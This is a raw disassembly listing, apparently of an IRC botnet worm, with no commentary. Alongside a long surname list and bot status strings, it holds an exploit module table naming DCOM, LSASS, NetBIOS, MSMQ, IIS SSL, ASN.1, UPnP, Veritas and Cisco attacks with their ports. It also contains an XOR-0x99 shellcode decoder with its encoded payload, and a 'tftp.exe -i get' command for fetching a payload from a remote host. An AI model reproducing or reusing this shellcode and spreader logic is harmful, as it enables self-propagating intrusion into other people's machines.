XREF: seg002:00440B7Co aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:00440B80o align 4 aTatar db 'Tatar',0 ; DATA XREF: seg002:00440B84o align 10h aTaveras db 'Taveras',0 ; DATA XREF: seg002:00440B88o aTawn db 'Tawn',0 ; DATA XREF: seg002:00440B8Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:00440B90o align 4 aTeague db 'Teague',0 ; DATA XREF: seg002:00440B94o align 4 aTemes db 'Temes',0 ; DATA XREF: seg002:00440B98o align 4 aTemmer db 'Temmer',0 ; DATA XREF: seg002:00440B9Co align 4 aTenney db 'Tenney',0 ; DATA XREF: seg002:00440BA0o align 4 aTerracini db 'Terracini',0 ; DATA XREF: seg002:00440BA4o align 4 aThan db 'Than',0 ; DATA XREF: seg002:00440BA8o align 10h aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:00440BACo align 10h aTheodos db 'Theodos',0 ; DATA XREF: seg002:00440BB0o aThibault db 'Thibault',0 ; DATA XREF: seg002:00440BB4o align 4 aThisted db 'Thisted',0 ; DATA XREF: seg002:00440BB8o aThomsen db 'Thomsen',0 ; DATA XREF: seg002:00440BBCo aThroop db 'Throop',0 ; DATA XREF: seg002:00440BC0o align 4 aTierney db 'Tierney',0 ; DATA XREF: seg002:00440BC4o aTill db 'Till',0 ; DATA XREF: seg002:00440BC8o align 4 aTimmons db 'Timmons',0 ; DATA XREF: seg002:00440BCCo aTofallis db 'Tofallis',0 ; DATA XREF: seg002:00440BD0o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:00440BD4o align 4 aTolls db 'Tolls',0 ; DATA XREF: seg002:00440BD8o align 4 aTolman db 'Tolman',0 ; DATA XREF: seg002:00440BDCo align 4 aTomford db 'Tomford',0 ; DATA XREF: seg002:00440BE0o aToomer db 'Toomer',0 ; DATA XREF: seg002:00440BE4o align 4 aTopulos db 'Topulos',0 ; DATA XREF: seg002:00440BE8o aTorresi db 'Torresi',0 ; DATA XREF: seg002:00440BECo aTorske db 'Torske',0 ; DATA XREF: seg002:00440BF0o align 4 aTowler db 'Towler',0 ; DATA XREF: seg002:00440BF4o align 4 aToye db 'Toye',0 ; DATA XREF: seg002:00440BF8o align 4 aTraebert db 'Traebert',0 ; DATA XREF: seg002:00440BFCo align 10h aTrenga db 'Trenga',0 ; DATA XREF: seg002:00440C00o align 4 aTrewin db 'Trewin',0 ; DATA XREF: seg002:00440C04o align 10h aTringali db 'Tringali',0 ; DATA XREF: seg002:00440C08o align 4 aTroiani db 'Troiani',0 ; DATA XREF: seg002:00440C0Co aTroy db 'Troy',0 ; DATA XREF: seg002:00440C10o align 4 aTruss db 'Truss',0 ; DATA XREF: seg002:00440C14o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:00440C18o aTsomides db 'Tsomides',0 ; DATA XREF: seg002:00440C1Co align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:00440C20o align 4 aTuck db 'Tuck',0 ; DATA XREF: seg002:00440C24o align 4 aTudge db 'Tudge',0 ; DATA XREF: seg002:00440C28o align 4 aTukan db 'Tukan',0 ; DATA XREF: seg002:00440C2Co align 4 aTurano db 'Turano',0 ; DATA XREF: seg002:00440C30o align 4 aTurek db 'Turek',0 ; DATA XREF: seg002:00440C34o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: seg002:00440C38o align 4 aTwells db 'Twells',0 ; DATA XREF: seg002:00440C3Co align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:00440C40o align 4 aUllman db 'Ullman',0 ; DATA XREF: seg002:00440C44o align 10h aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:00440C48o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:00440C4Co aUrban db 'Urban',0 ; DATA XREF: seg002:00440C50o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:00440C54o align 4 aUsdan db 'Usdan',0 ; DATA XREF: seg002:00440C58o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: seg002:00440C5Co align 4 aVacca db 'Vacca',0 ; DATA XREF: seg002:00440C60o align 4 aWaite db 'Waite',0 ; DATA XREF: seg002:00440C64o align 4 aValberg db 'Valberg',0 ; DATA XREF: seg002:00440C68o aValencia db 'Valencia',0 ; DATA XREF: seg002:00440C6Co align 10h aWales db 'Wales',0 ; DATA XREF: seg002:00440C70o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:00440C74o align 4 aWalter db 'Walter',0 ; DATA XREF: seg002:00440C78o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: seg002:00440C7Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:00440C80o aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:00440C84o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: seg002:00440C88o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:00440C8Co align 4 aWasowska db 'Wasowska',0 ; DATA XREF: seg002:00440C90o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: seg002:00440C94o aWaugh db 'Waugh',0 ; DATA XREF: seg002:00440C98o align 4 aWeighart db 'Weighart',0 ; DATA XREF: seg002:00440C9Co align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:00440CA0o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:00440CA4o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:00440CA8o align 4 aWeissman db 'Weissman',0 ; DATA XREF: seg002:00440CACo align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:00440CB0o align 4 aWelles db 'Welles',0 ; DATA XREF: seg002:00440CB4o align 4 aWelsh db 'Welsh',0 ; DATA XREF: seg002:00440CB8o align 4 aWengret db 'Wengret',0 ; DATA XREF: seg002:00440CBCo aVenne db 'Venne',0 ; DATA XREF: seg002:00440CC0o align 4 aVerghese db 'Verghese',0 ; DATA XREF: seg002:00440CC4o align 4 aWescott db 'Wescott',0 ; DATA XREF: seg002:00440CC8o aWetzel db 'Wetzel',0 ; DATA XREF: seg002:00440CCCo align 4 aWhately db 'Whately',0 ; DATA XREF: seg002:00440CD0o aWhilton db 'Whilton',0 ; DATA XREF: seg002:00440CD4o aWhite db 'White',0 ; DATA XREF: seg002:00440CD8o align 10h aWhitla db 'Whitla',0 ; DATA XREF: seg002:00440CDCo align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:00440CE0o align 4 aViana db 'Viana',0 ; DATA XREF: seg002:00440CE4o align 4 aViano db 'Viano',0 ; DATA XREF: seg002:00440CE8o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:00440CECo aWiener db 'Wiener',0 ; DATA XREF: seg002:00440CF0o align 4 aViens db 'Viens',0 ; DATA XREF: seg002:00440CF4o align 10h aVignola db 'Vignola',0 ; DATA XREF: seg002:00440CF8o aWilder db 'Wilder',0 ; DATA XREF: seg002:00440CFCo align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:00440D00o aWilk db 'Wilk',0 ; DATA XREF: seg002:00440D04o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: seg002:00440D08o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:00440D0Co align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:00440D10o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:00440D14o aWilson db 'Wilson',0 ; DATA XREF: seg002:00440D18o align 4 aVitali db 'Vitali',0 ; DATA XREF: seg002:00440D1Co align 4 aViviani db 'Viviani',0 ; DATA XREF: seg002:00440D20o aVoigt db 'Voigt',0 ; DATA XREF: seg002:00440D24o align 4 aWolk db 'Wolk',0 ; DATA XREF: seg002:00440D28o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:00440D2Co align 10h aWoo db 'Woo',0 ; DATA XREF: seg002:00440D30o aWooden db 'Wooden',0 ; DATA XREF: seg002:00440D34o align 4 aWoods db 'Woods',0 ; DATA XREF: seg002:00440D38o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:00440D3Co align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:00440D40o aVotey db 'Votey',0 ; DATA XREF: seg002:00440D44o align 4 aYacono db 'Yacono',0 ; DATA XREF: seg002:00440D48o align 4 aYamane db 'Yamane',0 ; DATA XREF: seg002:00440D4Co align 4 aYankee db 'Yankee',0 ; DATA XREF: seg002:00440D50o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:00440D54o aYates db 'Yates',0 ; DATA XREF: seg002:00440D58o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: seg002:00440D5Co align 4 aYedidia db 'Yedidia',0 ; DATA XREF: seg002:00440D60o aYesson db 'Yesson',0 ; DATA XREF: seg002:00440D64o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: seg002:00440D68o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: seg002:00440D6Co align 4 aYoo db 'Yoo',0 ; DATA XREF: seg002:00440D70o aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:00440D74o align 4 aYu db 'Yu',0 ; DATA XREF: seg002:00440D78o align 4 aZachary db 'Zachary',0 ; DATA XREF: seg002:00440D7Co aZahedi db 'Zahedi',0 ; DATA XREF: seg002:00440D80o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: seg002:00440D84o align 4 aZegans db 'Zegans',0 ; DATA XREF: seg002:00440D88o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: seg002:00440D8Co aZoldak db 'Zoldak',0 ; DATA XREF: seg002:00440D90o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: seg002:00440D94o aZurn db 'Zurn',0 ; DATA XREF: seg002:00440D98o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: seg002:00440D9Co align 4 aZytowski db 'Zytowski',0 ; DATA XREF: seg002:00440DA0o align 10h aS_27 db '%s',0 ; DATA XREF: sub_408654+27o align 4 aSI db '%s%i',0 ; DATA XREF: sub_408654+4Eo align 4 aS_28 db '%s',0 ; DATA XREF: seg000:004086D9o align 10h aSI_0 db '%s%i',0 ; DATA XREF: seg000:00408700o align 4 aPc db 'PC',0 ; DATA XREF: seg000:00408771o align 4 aPc_0 db 'PC',0 align 10h aPc_1 db 'PC',0 ; DATA XREF: seg000:004087C7o align 4 aSI_1 db '%s%i',0 ; DATA XREF: seg000:004087F2o align 4 aS_29 db '%s|',0 ; DATA XREF: seg000:00408840o aSI_2 db '%s%i',0 ; DATA XREF: seg000:00408867o align 4 a95 db '95',0 ; DATA XREF: seg000:004088D5o align 4 aNt db 'NT',0 ; DATA XREF: seg000:004088E3o align 10h a98 db '98',0 ; DATA XREF: seg000:004088F3o align 4 aMe_0 db 'ME',0 ; DATA XREF: seg000:00408903o align 4 a2k db '2K',0 ; DATA XREF: seg000:0040891Co align 4 aXp_0 db 'XP',0 ; DATA XREF: seg000:0040892Co align 10h a2k3 db '2K3',0 ; DATA XREF: seg000:0040893Ao a???_0 db '???',0 ; DATA XREF: seg000:loc_408941o aS_30 db '[%s]|',0 ; DATA XREF: seg000:0040894Ao align 10h aSI_3 db '%s%i',0 ; DATA XREF: seg000:00408971o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_408990+1Fo align 10h aM_0 db '[M]',0 ; DATA XREF: sub_408990+2Co aDS db '[%d]%s',0 ; DATA XREF: sub_408990+3Ao align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_408990:loc_4089DFo align 4 aM_1 db '[M]',0 ; DATA XREF: sub_408990+5Co ; --------------------------------------------------------------------------- loc_443858: ; DATA XREF: sub_408C38+C4o jmp short loc_44385C ; --------------------------------------------------------------------------- loc_44385A: ; CODE XREF: seg002:loc_44385Cp jmp short loc_443861 ; --------------------------------------------------------------------------- loc_44385C: ; CODE XREF: seg002:loc_443858j call loc_44385A loc_443861: ; CODE XREF: seg002:loc_44385Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_443866 dw 0FFFFh ; DATA XREF: sub_408C38+CCw db 80h, 73h, 0Eh byte_44386B db 0FFh ; DATA XREF: sub_408C38+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_443870: ; DATA XREF: sub_408C38+A2o jmp short loc_443874 ; --------------------------------------------------------------------------- loc_443872: ; CODE XREF: seg002:loc_443874p jmp short loc_443879 ; --------------------------------------------------------------------------- loc_443874: ; CODE XREF: seg002:loc_443870j call loc_443872 loc_443879: ; CODE XREF: seg002:loc_443872j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_44387D db 0FFh ; DATA XREF: sub_408C38+AAw dw 7380h db 0Ch byte_443881 db 0FFh ; DATA XREF: sub_408C38+B0w dw 0E243h dd 0F9h dword_443888 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_408AC1+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4438EC dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_408AC1+79o aJ_0 db 'j',0 db 0E8h dword_443905 dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_44390C retn ; --------------------------------------------------------------------------- byte_44390C db 0E8h ; CODE XREF: seg002:00443909j dword_44390D dd 1 byte_443911 db 0, 6Ah, 0 ; DATA XREF: sub_408AC1+C2o dd 7E8h db 0, 0Fh, 84h dword_44391B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; Sleep add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h dd 61026502h, 26C2064h, 2730269h, 30030274h, 31032C31h dd 32033A35h, 20h, 202E6425h, 7325h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_408FCD+35o align 4 aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_408FCD+51o align 8 aNetbios_0 db 'netbios',0 ; DATA XREF: sub_409F32+164o db 2 dup(0) aNetbios db 'NetBios',0 ; DATA XREF: seg000:00409450o ; seg000:0040A77Eo ... align 4 dd 5 dup(0) dword_4439F0 dd 8Bh ; seg000:00405ABCo ... off_4439F4 dd offset sub_40E268 ; DATA XREF: sub_409F32+1E6r dword_4439F8 dd 0 ; seg000:0040A7CCw ... dword_4439FC dd 0 dword_443A00 dd 0 dword_443A04 dd 0 aNtpass db 'ntpass',0 align 10h dd 544E0000h, 73736150h, 6 dup(0) dd 1BDh, 40E268h, 4 dup(0) aDcom135 db 'dcom135',0 dd 43440000h, 31204D4Fh, 3533h, 5 dup(0) dd 87h, 40AD11h, 0 dd 1, 2 dup(0) aDcom445 db 'dcom445',0 dd 43440000h, 34204D4Fh, 3534h, 5 dup(0) dd 1BDh, 40AD11h, 0 dd 1, 2 dup(0) aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'DCOM 1025',0 dd 5 dup(0) dd 401h, 40AD11h, 0 dd 1, 2 dup(0) aLsass db 'lsass',0 align 10h dd 4F480000h, 534C2044h, 535341h, 5 dup(0) dd 1BDh, 40BD15h, 0 dd 1, 2 dup(0) aLsasscb db 'lsasscb',0 dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0) ; --------------------------------------------------------------------------- mov ebp, 0EE000001h retn 40h ; --------------------------------------------------------------------------- dd 0 dd 1, 0 dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h dd 5 dup(0) dd 87h, 40E474h, 0 dd 1, 2 dup(0) aLsass445 db 'lsass445',0 align 2 aPlsass445 db 'PLSASS 445',0 align 10h dd 4 dup(0) dd 1BDh, 40E474h, 0 dd 1, 2 dup(0) aLsass1025 db 'lsass1025',0 aPlsass1025 db 'PLSASS 1025',0 align 10h dd 4 dup(0) dd 401h, 40E474h, 0 dd 1, 2 dup(0) aWks_eng db 'wks_eng',0 dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0) dd 1BDh, 40F633h, 0 dd 1, 2 dup(0) aWks_oth db 'wks_oth',0 dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0) dd 1BDh, 40F6BCh, 0 dd 1, 2 dup(0) dd 67736Dh, 0 dd 654D0000h, 6E657373h, 726567h, 5 dup(0) dd 87h, 40C484h, 0 dd 1, 2 dup(0) aMsmq2103 db 'msmq2103',0 align 2 aMsmq2103_0 db 'MSMQ 2103',0 dd 5 dup(0) dd 837h, 40DD02h, 0 dd 1, 2 dup(0) aMsmq2105 db 'msmq2105',0 align 2 aMsmq2105_0 db 'MSMQ 2105',0 dd 5 dup(0) dd 839h, 40DD02h, 0 dd 1, 2 dup(0) aMsmq2107 db 'msmq2107',0 align 2 aMsmq2107_0 db 'MSMQ 2107',0 dd 5 dup(0) dd 83Bh, 40DD02h, 0 dd 1, 2 dup(0) aIis5ssl db 'iis5ssl',0 dd 49490000h, 53533553h, 4Ch, 5 dup(0) dd 1BBh, 40AFECh, 0 dd 1, 0 dd 1, 64626577h, 7661h, 65570000h, 56414462h, 6 dup(0) dd 50h, 40F00Ch, 0 dd 1, 2 dup(0) aVeritas db 'veritas',0 dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h dd 63h, 2 dup(0) dd 17D5h, 40EDBAh, 0 dd 1, 2 dup(0) aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 10h dd 4 dup(0) dd 50h, 40D24Ch, 0 dd 1, 2 dup(0) aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D24Ch, 0 dd 1, 2 dup(0) aMsass db 'msass',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D24Ch, 0 dd 1, 2 dup(0) aUmpnp db 'umpnp',0 align 10h dd 4D550000h, 506E50h, 6 dup(0) dd 1BDh, 40E8C6h, 0 dd 1, 2 dup(0) dd 6C6Dh, 0 dd 4D490000h, 6C6961h, 6 dup(0) dd 8Fh, 40B12Ah, 0 dd 1, 2 dup(0) dd 6376h, 0 dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0) dd 170Ch, 41A8AAh, 0 dd 1, 2 dup(0) aCisco23 db 'cisco23',0 dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0) dd 17h, 40A670h, 4 dup(0) aCisco80 db 'cisco80',0 dd 69430000h, 206F6373h, 50545448h, 5 dup(0) dd 50h, 40A7E3h, 14h dup(0) dd 6C6Dh, 0 db 2 dup(0) byte_4440D2 db 1 ; DATA XREF: seg000:loc_40741Br ; seg000:00407425o db 6Dh dd 6773h, 0 dd 63760100h, 2 dup(0) dd 1, 2 dup(0) ; --------------------------------------------------------------------------- jmp short loc_444106 ; =============== S U B R O U T I N E ======================================= sub_4440F6 proc near ; CODE XREF: sub_4440F6:loc_444106p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4440FE: ; CODE XREF: sub_4440F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4440FE jmp short loc_44410B ; --------------------------------------------------------------------------- loc_444106: ; CODE XREF: seg002:004440F4j call sub_4440F6 loc_44410B: ; CODE XREF: sub_4440F6+Ej jo short near ptr dword_444070+36h cwde cdq cdq retn sub_4440F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h dword_444274 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: sub_409293+11o dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h dd 696F6C02h, 2207402h, 74617453h, 74736902h, 73636902h dd 3Ah dword_4442B4 dd 25370320h, 203A0373h, 2C6425haTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_409293+85o align 4 dword_4442D4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: seg000:00409398o dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72025402h dd 66736E61h, 2207265h, 61740253h, 74736974h, 3A736369h dd 2203403h, 54460254h, 3A025002h, 25203203h, 3202C64h dd 2460234h, 2500254h, 2032033Ah, 202C6425h, 6F543403h dd 36C6174h, 64252032h, 69340320h, 2032036Eh, 2E7325h dword_44434C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: seg000:004093EDo dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 3206425h dd 6F430234h, 65026E6Eh, 2627463h, 36B6361h, 2532032h dd 26C6568h, 3403736Ch, 6E026920h, 25203203h, 2E73h dword_44439C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: seg000:00409434o dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h dd 696F6C02h, 2207402h, 7302694Ch, 3A0274h dword_4443D4 dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: seg000:0040949Eo dword_4443F4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h ; DATA XREF: seg000:00409566o dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 74203203h dd 6E697972h, 20340367h, 3207325h, 36E6F32h, 73252034h dd 28320320h, 74726F70h, 29642520h, 2E2E2Eh dword_444440 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h ; DATA XREF: seg000:00409654o dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 66203203h dd 73696E69h, 20646568h, 6C707865h, 6974696Fh, 3403676Eh dd 20732520h, 25283203h, 74612064h, 706D6574h, 297374h dword_444490 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: seg000:004096C3o dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72754302h dd 2657202h, 2074026Eh, 33A5049h, 73252034h, 2Eh dword_4444CC dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h ; DATA XREF: seg000:004096D9o dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 2635302h dd 6E206E61h, 2074026Fh, 74026361h, 2760269h, 2E65h, 35310302h dd 25B302Ch, 91313003h, 54343003h, 54024602h, 64027002h dd 2C313003h, 3A353103h, 53203203h, 2726502h, 72026576h dd 2745320h, 2747261h, 6F206465h, 50206E02h, 2726F02h dd 34033A74h, 2C642520h, 46320320h, 26C6902h, 34033A65h dd 2E732520h, 0 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h dd 64027002h, 2C313003h, 3A353103h, 46203203h, 2696102h dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h dd 2E3E64h, 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh dd 2700254h, 31300364h, 3531032Ch, 2032033Ah, 72650253h dd 2657602h, 74732072h, 74726102h, 20646502h, 206E026Fh dd 726F0250h, 33A0274h, 64252034h, 3203202Ch, 6C690246h dd 33A6502h, 73252034h, 2Eh, 35310302h, 25B302Ch, 91313003h dd 2343003h, 21F461Fh, 2700254h, 31300364h, 3531032Ch dd 2032033Ah, 69610246h, 2656C02h, 2542064h, 7453206Fh dd 74726102h, 65532002h, 2767202h, 202C7265h, 72720245h dd 3A726F02h, 3C203403h, 2E3E6425h, 0 unk_44466C db 2 ; DATA XREF: seg000:00409A2Fo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Fh, 6Eh db 2 db 6Eh, 2, 65h db 63h ; c db 74h, 2, 42h db 2 db 61h, 63h, 6Bh db 3 db 30h, 32h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ServerStarted db '2 Server started on Port: %d.',0 align 4 dword_4446B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26E6F43h ; DATA XREF: seg000:00409A9Do dd 7463656Eh, 63614202h, 30036B02h, 31032C31h, 32033A35h dd 61024620h, 656C0269h, 54206402h, 53206F02h, 72610274h dd 53200274h, 76720265h, 2C726502h, 72024520h, 726F0272h dd 2034033Ah, 3E64253Ch, 2Eh dword_444710 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F481Fh ; DATA XREF: seg000:00409B57o dd 2540254h, 3640270h, 32C3130h, 33A3531h, 65532032h, 2767202h dd 6C207265h, 74736902h, 6E026502h, 26E6902h, 26F2067h dd 249206Eh, 34033A50h, 3A732520h, 202C6425h, 69443203h dd 2657202h, 6F027463h, 3A790272h, 25203403h, 2E5C73h dword_444778 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F481Fh ; DATA XREF: seg000:00409BC5o dd 2540254h, 3640270h, 32C3130h, 33A3531h, 2462032h, 6C026961h dd 20640265h, 206F0254h, 61027453h, 20027472h, 72026553h dd 72650276h, 4502202Ch, 2727202h, 33A726Fh, 253C2034h dd 2E3E64h dword_4447D0 dd 252E6425h, 64252E64h, 64252EhaSocketOpenFail db 'socket open failed',0 ; DATA XREF: seg000:00409E5Ao align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: seg000:00409E91o aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: seg000:00409EEBo align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: seg000:00409F10o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: seg000:loc_409F20o align 4 dword_444854 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh ; DATA XREF: sub_409F32+93o dd 2610263h, 3130036Eh, 3531032Ch, 2032033Ah, 33A5049h dd 73252034h, 2C64253Ah, 53320320h, 2616302h, 274206Eh dd 65027268h, 64026102h, 2034033Ah, 202C6425h, 2533203h dd 22D6275h, 2726874h, 64026165h, 2034033Ah, 2E6425h dword_4448B8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh ; DATA XREF: sub_409F32+EBo dd 2610263h, 3130036Eh, 3531032Ch, 2032033Ah, 2500249h dd 2034033Ah, 202C7325h, 50023203h, 72026F02h, 34037402h dd 20642520h, 2693203h, 26F2073h, 2650270h, 2E6Eh dword_444908 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh ; DATA XREF: sub_40A146+87o dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 61024602h dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h dd 2696C61h, 6320657Ah, 2697202h, 63026974h, 73206C61h dd 2636502h, 6F026974h, 2E6Eh dword_444964 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh ; DATA XREF: sub_40A146+103o dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 253A7325h dd 3202C64h, 2530232h, 2610263h, 274206Eh, 65027268h, 64026102h dd 2034033Ah, 202C6425h, 2533203h, 742D6275h, 2726802h dd 64026165h, 2034033Ah, 2E6425h dword_4449C4 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh ; DATA XREF: sub_40A146+173o dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 2610246h dd 65026C69h, 6F742064h, 2530220h, 72026174h, 2572074h dd 6B02726Fh, 20720265h, 72680274h, 2616502h, 2202C64h dd 72027245h, 72026F02h, 2032033Ah, 3E64253Ch, 2Eh dword_444A28 